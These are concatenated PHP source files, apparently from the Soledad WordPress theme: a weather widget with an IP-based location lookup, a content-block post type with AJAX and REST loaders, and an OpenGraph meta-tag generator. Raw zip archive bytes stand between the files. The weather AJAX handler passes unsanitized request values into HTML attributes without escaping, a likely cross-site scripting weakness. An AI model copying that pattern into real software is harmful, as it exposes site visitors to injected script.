		$today_clouds     = isset( $weather_data['today_clouds'] ) ? $weather_data['today_clouds'] . '%' : '';

		$units_display_symbol = '&deg;';

		$nonce = wp_create_nonce( 'penci-weather' );

		$output = '<div class="penci-weather-widget" data-id="' . $nonce . '" data-forecast_days="' . $atts['forecast_days'] . '" data-units="' . $atts['units'] . '">';

		if ( $atts['user_loc'] ) {
			$output .= '<span aria-label="' . esc_attr__( 'Click to get current location weather', 'soledad' ) . '" class="penci-wuser-gps"><svg viewBox="0 0 24 24" fill="none" xmlns="http://www.w3.org/2000/svg">
<path d="M12 19.5C16.1421 19.5 19.5 16.1421 19.5 12C19.5 7.85786 16.1421 4.5 12 4.5C7.85786 4.5 4.5 7.85786 4.5 12C4.5 16.1421 7.85786 19.5 12 19.5Z" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 15C13.6569 15 15 13.6569 15 12C15 10.3431 13.6569 9 12 9C10.3431 9 9 10.3431 9 12C9 13.6569 10.3431 15 12 15Z" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 4V2" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M4 12H2" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M12 20V22" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
<path d="M20 12H22" stroke="#292D32" stroke-width="1.5" stroke-linecap="round" stroke-linejoin="round"/>
</svg></span>';
		}

		$api_location = self::get_location_show( $atts, $weather_data );


		if ( $api_location ) {
			$output .= '<div class="penci-weather-header">';
			$output .= '<div class="penci-weather-city">' . $api_location . '</div>';

			if ( isset( $weather_data['today_icon_text'] ) ) {
				$output .= '<div class="penci-weather-condition">' . $weather_data['today_icon_text'] . '</div>';
			}
			$output .= '</div>';
		}

		$output .= '<div class="penci-weather-information">';


		if ( isset( $weather_data['today_humidity'] ) ) {
			$output .= '<div class="penci-weather-section penci_humidty"><i class="wi wi-humidity"></i>' . $weather_data['today_humidity'] . '%</div>';
		}
		if ( $wind_speed && $wind_speed_text ) {
			$output .= '<div class="penci-weather-section penci_wind"><i class="wi wi-windy"></i>' . $wind_speed . $wind_speed_text . '</div>';
		}

		if ( $today_clouds ) {
			$output .= '<div class="penci-weather-section penci_clouds">' . penci_icon_by_ver( 'fas fa-cloud' ) . $today_clouds . '</div>';
		}


		$output .= '</div>';


		$output .= '<div class="penci-weather-degrees-wrap">';

		$today_icon = array_values( $weather_data['forecast']['list'][0]['weather'][0] );

		if ( isset( $today_icon[3] ) ) {
			$output .= '<div class="penci-weather-animated-icon is-animated">' . self::weather_icon( $today_icon[3] ) . '</div>';
		}

		$output .= '<div class="penci-weather-now">';
		$output .= '<span class="penci-big-degrees">' . $today_temp . '</span>';
		$output .= '<span class="penci-circle">' . $units_display_symbol . '</span>';
		$output .= '<span class="penci-weather-unit">' . $today_temp_label . '</span>';
		$output .= '</div>';

		$output .= '<div class="penci-weather-lo-hi">';
		$output .= '<div class="penci-weather-lo-hi__content">';
		$output .= penci_icon_by_ver( 'fas fa-angle-double-up' );
		$output .= '<span class="penci-small-degrees penci-w-high-temp">' . $today_high . '</span>';
		$output .= '<span class="penci-circle">' . $units_display_symbol . '</span>';
		$output .= '</div>';
		$output .= '<div class="penci-weather-lo-hi__content">';
		$output .= penci_icon_by_ver( 'fas fa-angle-double-down' );
		$output .= '<span class="penci-small-degrees penci-w-low-temp">' . $today_low . '</span>';
		$output .= '<span class="penci-circle">' . $units_display_symbol . '</span>';
		$output .= '</div>';
		$output .= '</div>';
		$output .= '</div>';


		$output .= "<div class=\"penci-weather-week penci_days_{$days_to_show} \">";
		$day    = 1;

		$term_arr = array();
		if ( $forecast_list ) {
			foreach ( (array) $forecast_list as $forecast ) {
				$forecast_dt        = isset( $forecast['dt'] ) ? $forecast['dt'] : '';
				$forecast_main_temp = isset( $forecast['main']['temp'] ) ? (int) $forecast['main']['temp'] : '';

				$forecast_icon = array_values( $forecast['weather'][0] );
				$forecast_icon = $forecast_icon[3];


				if ( empty( $forecast_dt ) || empty( $forecast_main_temp ) ) {
					continue;
				}

				$current_day = date( 'j', $forecast_dt );

				if ( ! in_array( $current_day, $term_arr ) ) {
					$term_arr[] = $current_day;
				} else {
					continue;
				}

				$day_of_week = isset( $days_of_week[ date( 'w', $forecast_dt ) ] ) ? $days_of_week[ date( 'w', $forecast_dt ) ] : date_i18n( 'D', $forecast_dt );

				$output .= "
						<div class='penci-weather-days is-animated'>
							" . self::weather_icon( $forecast_icon ) . "
							<div class='penci-day-degrees'><span class='penci-degrees'>{$forecast_main_temp}</span><span class='circle'>{$units_display_symbol}</span></div>
							<div class='penci-day'>{$day_of_week}</div>
						</div>";

				if ( $day == $days_to_show ) {
					break;
				}

				$day ++;

			}
		}

		$output .= '</div>';

		$output .= '</div>';

		return $output;
	}
}

if ( ! function_exists( 'penci_get_user_location' ) ) {
	function penci_get_user_location() {
		$city = '';
		$ip   = file_get_contents( 'https://api.ipify.org' );

		if ( $ip !== false ) {

			$request = wp_remote_get( 'http://ip-api.com/json/' . $ip );

			if ( ! is_wp_error( $request ) ) {

				$request = wp_remote_retrieve_body( $request );
				$request = json_decode( $request, true );

				if ( $request && ! empty( $request['status'] ) && $request['status'] == 'success' ) {
					$city = $request['city'];
					setcookie( 'PenciUserCity', $city, time() + ( DAY_IN_SECONDS * 30 ), "/" );
				}
			}
		}

		return $city;
	}
}

if ( ! function_exists( 'penci_get_weather_loc' ) ) {
	add_action( 'wp_ajax_nopriv_penci_get_weather_loc', 'penci_get_weather_loc' );
	add_action( 'wp_ajax_penci_get_weather_loc', 'penci_get_weather_loc' );
	function penci_get_weather_loc() {

		check_ajax_referer( 'penci-weather', 'id' );

		$forecast_days = $_REQUEST['forecast_days'];
		$units         = $_REQUEST['units'];

		$city = penci_get_user_location();

		if ( empty( $city ) ) {
			wp_send_json_error( [ 'message' => esc_html__( 'Failed to fetch your current loction! try again later!', 'soledad' ) ] );
		}

		$weather_data = '';

		if ( ! empty( $city ) ) {

			$weather_data = \Penci_Weather::show_forecats( array(
				'location'      => $city,
				'forecast_days' => $forecast_days,
				'units'         => $units,
				'user_loc'      => true,
			) );
		}


		wp_send_json_success( [ 'html' => $weather_data ] );

	}
}PK     0w\DxR&  &  	  block.phpnu [        <?php
// Exit if accessed directly
use Elementor\Plugin;

if ( ! defined( 'ABSPATH' ) ) {
	exit;
}


/**
 * Main class for Penci Block
 *
 * @author soledad ( http://soledad.com/ )
 * @since 1.0
 */
if ( ! class_exists( 'Penci_Block' ) ):

	class Penci_Block {

		/**
		 * A reference to an instance of this class.
		 */
		private static $instance;


		/**
		 * Returns an instance of this class.
		 */
		public static function get_instance() {

			if ( null == self::$instance ) {
				self::$instance = new Penci_Block();
			}

			return self::$instance;

		}

		/**
		 * Initializes the plugin by setting filters and administration functions.
		 */
		private function __construct() {

			// Register Blocks Post Type
			add_action( 'init', array( $this, 'register_blocks_post_type' ) );

			// Register Blocks Category
			add_action( 'init', array( $this, 'register_blocks_category' ) );

			// Add Custom Columns to Editor
			add_filter( 'manage_edit-penci-block_columns', array( $this, 'edit_penci_blocks_columns' ) );
			add_action( 'manage_penci-block_posts_custom_column', array(
				$this,
				'manage_penci_blocks_columns'
			), 10, 2 );

			// Register Elementor Support
			add_action( 'wp_enqueue_scripts', [ $this, 'enqueue_scripts' ] );
			add_action( 'init', array( $this, 'add_elementor_support' ) );

			// Register WPBakery Suppot
			add_action( 'init', array( $this, 'add_wpbakery_support' ) );

			// Register Content Block Shortcode
			add_shortcode( 'block_content', array( $this, 'get_block_content_shortcode' ) );

			// Ajax Mega Content
			add_action( 'wp_ajax_penci_get_ajax_menu_mega_content', [ $this, 'get_ajax_menu_mega_content' ] );
			add_action( 'wp_ajax_nopriv_penci_get_ajax_menu_mega_content', [ $this, 'get_ajax_menu_mega_content' ] );

			// Rest API
			add_action( 'rest_api_init', [ $this, 'register_routes' ] );
		}

		/**
		 * Register Blocks Post Type
		 */
		public function register_blocks_post_type() {
			$show_menu = get_theme_mod( 'penci_hide_pcblocks' ) ? false : true;
			$labels    = array(
				'name'               => _x( 'Penci Block', 'post type general name', 'soledad' ),
				'singular_name'      => _x( 'Block', 'post type singular name', 'soledad' ),
				'add_new'            => __( 'Add New', 'soledad' ),
				'add_new_item'       => __( 'Add New Block', 'soledad' ),
				'edit_item'          => __( 'Edit Block', 'soledad' ),
				'new_item'           => __( 'New Block', 'soledad' ),
				'all_items'          => __( 'All Blocks', 'soledad' ),
				'view_item'          => __( 'View Block', 'soledad' ),
				'search_items'       => __( 'Search Block', 'soledad' ),
				'not_found'          => __( 'No block found', 'soledad' ),
				'not_found_in_trash' => __( 'No blocks found in Trash', 'soledad' ),
				'parent_item_colon'  => '',
				'menu_name'          => _x( 'Penci Blocks', 'post type general name', 'soledad' ),
			);

			$args = array(
				'labels'             => $labels,
				'public'             => true,
				'publicly_queryable' => true,
				'show_ui'            => $show_menu,
				'show_in_nav_menus'  => $show_menu,
				'show_in_menu'       => $show_menu,
				'query_var'          => 'penci-block',
				'capability_type'    => 'page',
				'menu_icon'          => 'dashicons-schedule',
				'has_archive'        => false,
				'hierarchical'       => false,
				'menu_position'      => null,
				'show_in_rest'       => true,
				'supports'           => array( 'title', 'editor', 'custom-fields' )
			);

			register_post_type( 'penci-block', $args );
		}

		/**
		 * Register Blocks Categories
		 */
		public function register_blocks_category() {
			$labels = array(
				'name'              => _x( 'Block Categories', 'taxonomy general name', 'soledad' ),
				'singular_name'     => _x( 'Block Category', 'taxonomy singular name', 'soledad' ),
				'search_items'      => __( 'Search Block Categories', 'soledad' ),
				'all_items'         => __( 'All Block Categories', 'soledad' ),
				'parent_item'       => __( 'Parent Block Category', 'soledad' ),
				'parent_item_colon' => __( 'Parent Block Category:', 'soledad' ),
				'edit_item'         => __( 'Edit Block Category', 'soledad' ),
				'update_item'       => __( 'Update Block Category', 'soledad' ),
				'add_new_item'      => __( 'Add New Block Category', 'soledad' ),
				'new_item_name'     => __( 'New Block Category Name', 'soledad' ),
				'menu_name'         => __( 'Block Categories', 'soledad' )
			);

			$args = array(
				'hierarchical'      => true,
				'labels'            => $labels,
				'show_ui'           => true,
				'show_admin_column' => true,
				'query_var'         => true,
				'rewrite'           => array( 'slug' => 'penci_block_category' )
			);

			register_taxonomy( 'penci_block_category', array( 'penci-block' ), $args );
		}

		public function edit_penci_blocks_columns( $columns ) {
			unset( $columns['taxonomy-penci_block_category'] );

			$new_columns = array(
				'shortcode'        => esc_html__( 'Shortcode', 'soledad' ),
				'penci_categories' => esc_html__( 'Block Categories', 'soledad' ),
				'date'             => esc_html__( 'Date', 'soledad' ),
			);

			$columns = $columns + $new_columns;

			return $columns;
		}


		public function manage_penci_blocks_columns( $column, $post_id ) {
			switch ( $column ) {
				case 'shortcode':
					echo '<strong>[block_content id="' . $post_id . '"]</strong>';
					break;
				case 'penci_categories':
					$terms = wp_get_post_terms( $post_id, 'penci_block_category' );
					$post_type = get_post_type( $post_id );
					$keys = array_keys( $terms );
					$last_key = end( $keys );

					if ( ! $terms ) {
						echo '—';
					}

					?>
					<?php foreach ( $terms as $key => $term ) : ?>
					<?php
					$name = $term->name;

					if ( $key !== $last_key ) {
						$name .= ',';
					}

					?>

                    <a href="<?php echo esc_url( 'edit.php?post_type=' . $post_type . '&penci_block_category=' . $term->slug ); ?>">
						<?php echo esc_html( $name ); ?>
                    </a>
				<?php endforeach; ?>
					<?php
					break;
			}
		}

		public function add_elementor_support() {
			$cpt_support = get_option( 'elementor_cpt_support' );
			if ( ! $cpt_support ) {
				$cpt_support = [ 'page', 'post', 'penci-block' ];
				update_option( 'elementor_cpt_support', $cpt_support );
			} else if ( ! in_array( 'penci-block', $cpt_support ) ) {
				$cpt_support[] = 'penci-block';
				update_option( 'elementor_cpt_support', $cpt_support );
			}
		}

		public function add_wpbakery_support() {
			if ( function_exists( 'vc_set_default_editor_post_types' ) ) {
				vc_set_default_editor_post_types( array( 'page', 'post', 'penci-block' ) );
			}
		}

		public function get_block_content( $id ) {
			$id      = apply_filters( 'wpml_object_id', $id, 'penci-block', true );
			$post    = get_post( $id );
			$content = '';
			if ( ! $post || $post->post_type != 'penci-block' ) {
				return false;
			}

			if ( $id && did_action( 'elementor/loaded' ) && Plugin::$instance->documents->get( $id )->is_built_with_elementor() ) {

				$content = penci_get_elementor_content( $id );

			} else {
				$content .= do_shortcode( $post->post_content );

				$shortcodes_custom_css = get_post_meta( $id, '_wpb_shortcodes_custom_css', true );

				$content .= '<style data-type="vc_shortcodes-custom-css">';
				if ( ! empty( $shortcodes_custom_css ) ) {
					$content .= $shortcodes_custom_css;
				}
				$content .= '</style>';
			}

			return $content;
		}

		public function get_block_content_shortcode( $atts, $content ) {
			extract( shortcode_atts( array(
				'id' => '',
			), $atts ) );

			if ( $id ) {
				return $this->get_block_content( $id );
			} else {
				return false;
			}
		}

		public function get_ajax_menu_mega_content() {

			check_ajax_referer( 'penci_megamenu', 'nonce' );

			$response = array(
				'status'  => 'error',
				'message' => 'Can\'t load HTML blocks with AJAX',
				'data'    => array(),
			);

			if ( class_exists( 'WPBMap' ) ) {
				WPBMap::addAllMappedShortcodes();
			}

			if ( isset( $_POST['ids'] ) ) {
				$id                  = (int) $_POST['ids'];
				$content             = $this->get_block_content( $id );
				$response['status']  = 'success';
				$response['message'] = 'At least one HTML block loaded';
				$response['data']    = $content;
			}

			wp_send_json_success( $response, 200 );

			wp_die();
		}

		public function enqueue_scripts() {

			if ( class_exists( '\Elementor\Plugin' ) ) {
				$elementor = \Elementor\Plugin::instance();
				$elementor->frontend->enqueue_styles();
			}

			if ( penci_can_render_footer() ) {
				$footer_id = penci_footer_builder_content_id();
				$css_file  = '';
				if ( class_exists( '\Elementor\Core\Files\CSS\Post' ) ) {
					$css_file = new \Elementor\Core\Files\CSS\Post( $footer_id );
				}
				if ( $css_file ) {
					$css_file->enqueue();
				}
			}
		}

		public function register_routes() {
			register_rest_route( 'penci/v1', '/get_menu_data', [
				'methods'             => 'POST',
				'callback'            => [ $this, 'get_menu_data' ],
				'permission_callback' => '__return_true',
			] );
		}

		public function get_menu_data( WP_REST_Request $request ) {
			$response = array(
				'status'  => 'error',
				'message' => 'Can\'t load HTML blocks with AJAX',
				'data'    => array(),
			);

			if ( class_exists( 'WPBMap' ) ) {
				WPBMap::addAllMappedShortcodes();
			}

			$request_id = $request->get_param( 'ids' );

			if ( $request_id ) {
				$id                  = (int) $request_id;
				$content             = $this->get_block_content( $id );
				$response['status']  = 'success';
				$response['message'] = 'At least one HTML block loaded';
				$response['data']    = $content;
			}

			return new WP_REST_Response( ['data' => $response], 200 );
		}
	}

	add_action( 'after_setup_theme', array( 'Penci_Block', 'get_instance' ) );

endif; /* End check if class exists */
PK     0w\$Qa  Qa    opengraph.phpnu [        <?php

class Penci_Soledad_OpenGraph {
	private $debug = false;
	private $locale = null;

	private $schema_org_mapping = array(
		'name'          => array( 'og', 'title' ),
		'headline'      => array( 'og', 'blogdescription' ),
		'description'   => array( 'og', 'description' ),
		'datePublished' => array( 'article', 'published_time' ),
		'dateModified'  => array( 'article', 'modified_time' ),
		'author'        => array( 'profile', 'username' ),
	);

	private $is_schema_org_enabled = true;
	private $image_size = 'full';
	private $og = array();


	public function __construct() {

		if ( get_theme_mod( 'penci_disable_og_tag' ) ) {
			return;
		}

		if ( function_exists( 'aioseo' ) || defined( 'THE_SEO_FRAMEWORK_VERSION' ) || class_exists( 'app\SimpleSEO' ) || class_exists( 'RankMath' ) || defined( 'SLIM_SEO_DIR' ) || defined( 'SQ_VERSION' ) || defined( 'WPSEO_FILE' ) || defined( 'WPMETASEO_PLUGIN_URL' ) ) {
			return;
		}

		$this->debug      = apply_filters( 'pcogtg_debug', defined( 'WP_DEBUG' ) && WP_DEBUG );
		$this->image_size = apply_filters( 'pcogtg_image_size', get_theme_mod( 'penci_og_tag_image_size', 'full' ) );

		add_action( 'wp_head', array( $this, 'wp_head' ), 0 );
		add_filter( 'language_attributes', array( $this, 'filter_add_html_itemscope_itemtype' ), 10, 2 );
	}

	private function strip_white_chars( $content ) {
		if ( $content ) {
			$content = wp_strip_all_tags( $content );
			$content = preg_replace( '/\s+/', ' ', $content );
			$content = trim( $content );
		}

		return $content;
	}

	public function wp_head() {
		if ( is_404() ) {
			return;
		}

		echo PHP_EOL;
		printf( __( '<!-- Soledad OG: %s -->', 'og' ), PENCI_SOLEDAD_VERSION );
		if ( $this->debug ) {
			echo PHP_EOL;
		}
		do_action( 'iworks_pcogtg_before' );

		$og = $this->get_pcogtg_array();

		$this->echo_array( $og );
		do_action( 'iworks_pcogtg_after', $og );
		echo PHP_EOL;
		echo '<!-- /Soledad OG -->';
		echo PHP_EOL;
		echo PHP_EOL;

		remove_filter( 'orphan_skip_replacement', '__return_true' );
	}

	private function get_pcogtg_array() {
		if ( ! empty( $this->og ) ) {
			return $this->og;
		}
		$og = array(
			'og'      => array(
				'image'       => apply_filters( 'pcogtg_image_init', array() ),
				'video'       => apply_filters( 'pcogtg_video_init', array() ),
				'description' => '',
				'type'        => 'website',
				'locale'      => $this->get_locale(),
				'site_name'   => get_bloginfo( 'name' ),
				'logo'        => $this->get_site_logo(),
			),
			'article' => array(
				'tag' => array(),
			),
			'twitter' => array(
				'partner' => 'ogwp',
				'site'    => apply_filters( 'pcogtg_twitter_site', '' ),
				'creator' => apply_filters( 'pcogtg_twitter_creator', '' ),
				'widgets' => apply_filters( 'pcogtg_twitter_widgets', array() ),
				'player'  => apply_filters( 'pcogtg_video_init', array() ),
			),
			'schema'  => array(),
		);

		remove_action( 'wp_head', 'fpp_head_action' );

		add_filter( 'orphan_skip_replacement', '__return_true' );

		if ( is_singular() ) {
			global $post, $yarpp;

			$og['og']['type'] = 'article';

			$cache     = false;
			$cache_key = $this->get_transient_key( $post->ID );
			if ( ! $this->debug ) {
				$cache = get_transient( $cache_key );
			}
			if ( false === $cache ) {
				$src = false;

				if (

					apply_filters( 'pcogtg_allow_to_use_thumbnail', true )
					&& empty( $src )
					&& function_exists( 'has_post_thumbnail' )
				) {
					if ( has_post_thumbnail( $post->ID ) ) {
						$post_thumbnail_id = get_post_thumbnail_id( $post->ID );
						$thumbnail_src     = wp_get_attachment_image_src( $post_thumbnail_id, $this->image_size );

						if ( false !== $thumbnail_src ) {
							$src = esc_url( $thumbnail_src[0] );

							array_unshift( $og['og']['image'], $this->get_image_dimensions( $thumbnail_src, $post_thumbnail_id ) );
						}
					}
				}
				/**
				 * attachment image page
				 */
				if ( is_attachment() ) {
					if ( wp_attachment_is_image( $post->ID ) ) {
						$post_thumbnail_id   = $post->ID;
						$thumbnail_src       = wp_get_attachment_image_src( $post_thumbnail_id, $this->image_size );
						$og['og']['image'][] = $this->get_image_dimensions( $thumbnail_src, $post_thumbnail_id );
						$src                 = esc_url( wp_get_attachment_url( $post->ID ) );
					} elseif ( wp_attachment_is( 'video', $post->ID ) ) {
						$og['og']['type']   = 'video';
						$src                = esc_url( wp_get_attachment_url( $post->ID ) );
						$og['video']['url'] = $src;
						if ( is_ssl() ) {
							$og['video']['secure_url'] = $src;
						}
						$meta = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
						if ( isset( $meta['mime_type'] ) ) {
							$og['video']['type'] = $meta['mime_type'];
						}
						if ( isset( $meta['width'] ) ) {
							$og['video']['width'] = $meta['width'];
						}
						if ( isset( $meta['height'] ) ) {
							$og['video']['height'] = $meta['height'];
						}
					} elseif ( wp_attachment_is( 'audio', $post->ID ) ) {
						$og['og']['type']   = 'audio';
						$src                = esc_url( wp_get_attachment_url( $post->ID ) );
						$og['audio']['url'] = $src;
						if ( is_ssl() ) {
							$og['audio']['secure_url'] = $src;
						}
						$meta = get_post_meta( $post->ID, '_wp_attachment_metadata', true );
						if ( isset( $meta['mime_type'] ) ) {
							$og['audio']['type'] = $meta['mime_type'];
						}
					}
				}

				if (
					apply_filters( 'pcogtg_allow_to_use_content_image', true )
					&& empty( $src )
				) {
					$src      = array();
					$home_url = get_home_url();
					$content  = $post->post_content;
					if ( preg_match_all( '/<img[^>]+>/', $content, $matches ) ) {
						$matches = array_unique( $matches[0] );
						foreach ( $matches as $img ) {
							if ( preg_match( '/class="([^"]+)"/', $img, $matches_image_class ) ) {
								$classes = $matches_image_class[1];
								if ( preg_match( '/wp\-image\-(\d+)/', $classes, $matches_image_id ) ) {
									$attachment_id = $matches_image_id[1];
									$thumbnail_src = wp_get_attachment_image_src( $attachment_id, $this->image_size );
									if ( is_array( $thumbnail_src ) ) {
										$src[]               = esc_url( $thumbnail_src[0] );
										$og['og']['image'][] = $this->get_image_dimensions( $thumbnail_src, $attachment_id );
										continue;
									}
								}
							} elseif ( preg_match( '/src=([\'"])?([^"^\'^ ^>]+)([\'" >])?/', $img, $matches_image_src ) ) {
								$temp_src = $matches_image_src[2];
								$pos      = strpos( $temp_src, $home_url );
								if ( false === $pos ) {
									continue;
								}
								if ( 0 !== $pos ) {
									continue;
								}
								$attachment_id = $this->get_attachment_id( $temp_src );
								if ( 0 < $attachment_id ) {
									$thumbnail_src = wp_get_attachment_image_src( $attachment_id, $this->image_size );
									if ( is_array( $thumbnail_src ) ) {
										$src[]               = esc_url( $thumbnail_src[0] );
										$og['og']['image'][] = $this->get_image_dimensions( $thumbnail_src, $attachment_id );
									}
								} else {
									$og['og']['image'][] = $this->get_image_dimensions( array( $temp_src ) );
								}
							}
						}
					}
				}

				$og['og']['title'] = $this->strip_white_chars( get_the_title() );

				$og['og']['url'] = get_permalink();

				if ( ! post_password_required( $post->ID ) ) {
					if ( has_excerpt( $post->ID ) ) {
						$og['og']['description'] = get_the_excerpt();
					} else {

						$number_of_words         = apply_filters( 'pcogtg_description_words', 55 );
						$og['og']['description'] = wp_trim_words( wp_strip_all_tags( strip_shortcodes( $post->post_content ) ), $number_of_words, '...' );
					}
					$og['og']['description'] = $this->strip_white_chars( $og['og']['description'] );
					if ( empty( $og['og']['description'] ) ) {
						$og['og']['description'] = $og['og']['title'];
					}

					$tags = get_the_tags();
					if ( is_array( $tags ) && count( $tags ) > 0 ) {
						foreach ( $tags as $tag ) {
							$og['article']['tag'][] = esc_attr( $tag->name );
						}
					}
					$og['article']['published_time'] = gmdate( 'c', strtotime( $post->post_date_gmt ) );
					$og['article']['modified_time']  = gmdate( 'c', strtotime( $post->post_modified_gmt ) );

					$og['og']['updated_time'] = get_the_modified_date( 'c' );

					$og['article']['section'] = array();
					$post_categories          = wp_get_post_categories( $post->ID );
					if ( ! empty( $post_categories ) ) {
						foreach ( $post_categories as $category_id ) {
							$category                   = get_category( $category_id );
							$og['article']['section'][] = $category->name;
						}
					}

					$og['article']['tag'] = array();
					$post_tags            = wp_get_post_tags( $post->ID );
					if ( ! empty( $post_tags ) ) {
						foreach ( $post_tags as $tag ) {
							$og['article']['tag'][] = $tag->name;
						}
					}

					$og['article']['author'] = $this->get_the_author_meta_array( $post->post_author );
					$og['profile']           = $this->get_the_author_meta_array( $post->post_author );
				}

				$post_format = get_post_format( $post->ID );
				switch ( $post_format ) {
					case 'audio':
						$og['og']['type'] = 'music';
						break;
					case 'video':
						$og['og']['type'] = 'video';
						break;
				}

				$media = get_attached_media( 'video' );
				foreach ( $media as $one ) {

					if ( preg_match( '/^video/', $one->post_mime_type ) ) {
						$og['og']['rich_attachment'] = true;
						$video                       = array(
							'url'  => wp_get_attachment_url( $one->ID ),
							'type' => $one->post_mime_type,
						);
						if ( ! isset( $og['og']['video'] ) ) {
							$og['og']['video'] = array();
						}
						$og['og']['video'][] = $video;
					}
				}

				$media = get_attached_media( 'audio' );
				foreach ( $media as $one ) {
					if ( preg_match( '/^audio/', $one->post_mime_type ) ) {
						$og['og']['rich_attachment'] = true;
						$audio                       = array(
							'url'  => wp_get_attachment_url( $one->ID ),
							'type' => $one->post_mime_type,
						);
						if ( ! isset( $og['og']['audio'] ) ) {
							$og['og']['audio'] = array();
						}
						$og['og']['audio'][] = $audio;
					}
				}

				$og['twitter']['card'] = 'summary';
				if (
					isset( $og['og']['image'] )
					&& is_array( $og['og']['image'] )
					&& ! empty( $og['og']['image'] )
				) {
					$og = $this->set_twitter_image( $og );
				}

				if (
					! empty( $og )
					&& ! $this->debug
				) {
					set_transient( $cache_key, $og, apply_filters( 'pcogtg_set_transient_expiration', DAY_IN_SECONDS ) );
				}
			} else {
				$og = $cache;
			}
		} elseif ( is_author() ) {
			$author_id         = get_the_author_meta( 'ID' );
			$og['og']['url']   = get_author_posts_url( $author_id );
			$og['og']['type']  = 'profile';
			$og['profile']     = $this->get_the_author_meta_array( $author_id );
			$og['og']['image'] = get_avatar_url(
				$author_id,
				array(
					'size'    => 512,
					'default' => 404,
				)
			);

			$og['og']['description'] = $this->strip_white_chars( wp_strip_all_tags( get_the_author_meta( 'description' ) ) );
		} elseif ( is_search() ) {
			$og['og']['url'] = get_search_link();
		} elseif ( is_archive() ) {
			$obj = get_queried_object();
			if ( is_a( $obj, 'WP_Term' ) ) {
				$og['og']['url']         = get_term_link( $obj->term_id );
				$og['og']['description'] = $this->strip_white_chars( term_description( $obj->term_id, $obj->taxonomy ) );

				$term_meta_name = apply_filters(
					'og/term/meta/thumbnail_id_name',
					'image'
				);
				$image_id       = intval( get_term_meta( $obj->term_id, $term_meta_name, true ) );
				if ( 0 < $image_id ) {
					$thumbnail_src     = wp_get_attachment_image_src( $image_id, $this->image_size );
					$src               = $thumbnail_src[0];
					$og['og']['image'] = $this->get_image_dimensions( $thumbnail_src, $image_id );
				} else {

					$term_meta_name = apply_filters(
						'og/term/meta/thumbnail_url',
						'image_url'
					);
					$image_url      = get_term_meta( $obj->term_id, $term_meta_name, true );
					if ( wp_http_validate_url( $image_url ) ) {
						$og['og']['image'] = $image_url;
					}
				}
			} elseif ( is_a( $obj, 'WP_Post_Type' ) ) {
				$og['og']['url'] = get_post_type_archive_link( $obj->name );
			} elseif ( is_date() ) {
				$year  = get_query_var( 'year' );
				$month = get_query_var( 'monthnum' );
				$day   = get_query_var( 'day' );
				if ( is_day() ) {
					$og['og']['url'] = get_day_link( $year, $month, $day );
				} elseif ( is_month() ) {
					$og['og']['url'] = get_month_link( $year, $month );
				} else {
					$og['og']['url'] = get_year_link( $year );
				}
			}
		} else {
			if ( is_home() || is_front_page() ) {
				$og['og']['type'] = 'website';
			}
			$og['og']['description'] = $this->strip_white_chars( get_bloginfo( 'description' ) );
			$og['og']['title']       = get_bloginfo( 'title' );
			$og['og']['url']         = home_url();
			if ( ! is_front_page() && is_home() ) {
				$og['og']['url'] = get_permalink( get_option( 'page_for_posts' ) );
			}
		}
		if ( ! isset( $og['og']['title'] ) || empty( $og['og']['title'] ) ) {
			$og['og']['title'] = wp_get_document_title();
		}

		if (
			(
				! isset( $og['og']['image'] )
				|| empty( $og['og']['image'] )
			)
			&& function_exists( 'get_site_icon_url' )
		) {
			$og['og']['image'] = get_site_icon_url();
		}

		if ( isset( $og['og']['image'] ) ) {
			$tmp_src = null;
			if ( is_string( $og['og']['image'] ) ) {
				$tmp_src = $og['og']['image'];
			} elseif (
				is_array( $og['og']['image'] )
				&& ! empty( $og['og']['image'] )
			) {
				$img = reset( $og['og']['image'] );
				if ( isset( $img['url'] ) ) {
					$tmp_src = $img['url'];
				}
			}

			if (
				! isset( $og['twitter']['image'] )
			) {
				$og = $this->set_twitter_image( $og );
			}

			if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
				if ( ! isset( $og['schema']['image'] ) ) {
					$og['schema']['image'] = $tmp_src;
				}
			}
		}

		foreach ( array( 'title', 'description', 'url' ) as $key ) {
			if ( isset( $og['og'][ $key ] ) ) {
				$og['twitter'][ $key ] = $og['og'][ $key ];
			}
		}

		if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
			foreach ( $this->schema_org_mapping as $itemprop => $pcogtg_keys ) {
				if ( isset( $og[ $pcogtg_keys[0] ] ) ) {
					if ( isset( $og[ $pcogtg_keys[0] ][ $pcogtg_keys[1] ] ) ) {
						$og['schema'][ $itemprop ] = apply_filters(
							'pcogtg_schema_' . $itemprop,
							$og[ $pcogtg_keys[0] ][ $pcogtg_keys[1] ]
						);
					}
				}
			}

			if ( apply_filters( 'pcogtg_allow_to_use_schema_tagline', false ) ) {
				$og['schema']['tagline'] = apply_filters(
					'pcogtg_schema_tagline',
					get_option( 'blogdescription' )
				);
			}
		}

		if ( ! empty( $src ) ) {
			$tmp_src = $src;
			if ( is_array( $tmp_src ) ) {
				$tmp_src = array_shift( $tmp_src );
			}
			if ( ! empty( $tmp_src ) ) {

				if ( apply_filters( 'pcogtg_head_link_rel_image_src_enabled', true ) ) {
					printf(
						'<link rel="image_src" href="%s">%s',
						esc_url( $tmp_src ),
						$this->debug ? PHP_EOL : ''
					);
				}

				if ( apply_filters( 'pcogtg_head_meta_title_image_enabled', true ) ) {
					printf(
						'<meta name="msapplication-TileImage" content="%s">%s',
						esc_url( $tmp_src ),
						$this->debug ? PHP_EOL : ''
					);
				}

				if ( apply_filters( 'pcogtg_is_schema_org_enabled', $this->is_schema_org_enabled ) ) {
					$og['schema']['image'] = $tmp_src;
				}
			}
		}

		if ( isset( $og['twitter'] ) && isset( $og['twitter']['description'] ) ) {
			$number_of_words = apply_filters( 'pcogtg_description_words', 55 );
			do {
				$og['twitter']['description'] = wp_trim_words( $og['twitter']['description'], $number_of_words, '...' );
				$number_of_words --;
			} while ( 200 < mb_strlen( $og['twitter']['description'] ) );
		}

		foreach ( $og as $key => $data ) {
			$og[ $key ] = apply_filters( 'pcogtg_' . $key . '_array', $data );
		}

